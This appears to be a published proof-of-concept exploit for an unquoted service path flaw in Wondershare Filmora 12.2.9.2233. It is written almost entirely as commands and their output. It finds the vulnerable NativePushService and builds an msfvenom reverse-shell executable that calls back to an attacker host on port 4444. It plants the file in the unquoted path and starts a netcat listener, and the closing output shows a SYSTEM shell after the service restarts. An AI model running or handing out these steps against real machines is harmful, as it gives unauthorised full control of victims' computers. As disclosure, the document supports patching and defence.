Wondershare Filmora 12.2.9.2233 – Unquoted Service Path
############################################################################ # # # Exploit Title: Wondershare Filmora 12.2.9.2233 - Unquoted Service Path # # Date: 2023/04/23 # # Exploit Author: msd0pe # # Vendor Homepage: https://www.wondershare.com # # My Github: https://github.com/msd0pe-1 # # # ############################################################################ Wondershare Filmora: Versions =< 12.2.9.2233 contains an unquoted service path which allows attackers to escalate privileges to the system level. [1] Find the unquoted service path: > wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ Wondershare Native Push Service NativePushService C:\Users\msd0pe\AppData\Local\Wondershare\Wondershare NativePush\WsNativePushService.exe Auto [2] Get informations about the service: > sc qc "NativePushService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: NativePushService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Users\msd0pe\AppData\Local\Wondershare\Wondershare NativePush\WsNativePushService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Wondershare Native Push Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem [3] Generate a reverse shell: > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o Wondershare.exe [4] Upload the reverse shell to C:\Users\msd0pe\AppData\Local\Wondershare\Wondershare.exe > put Wondershare.exe > ls drw-rw-rw- 0 Sun Apr 23 14:51:47 2023 . drw-rw-rw- 0 Sun Apr 23 14:51:47 2023 .. drw-rw-rw- 0 Sun Apr 23 14:36:26 2023 Wondershare Filmora Update drw-rw-rw- 0 Sun Apr 23 14:37:13 2023 Wondershare NativePush -rw-rw-rw- 7168 Sun Apr 23 14:51:47 2023 Wondershare.exe drw-rw-rw- 0 Sun Apr 23 13:52:30 2023 WSHelper [5] Start listener > nc -lvp 4444 [6] Reboot the service/server > sc stop "NativePushService" > sc start "NativePushService" OR > shutdown /r [7] Enjoy ! 192.168.1.102: inverse host lookup failed: Unknown host connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309 Microsoft Windows [Version 10.0.19045.2130] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system |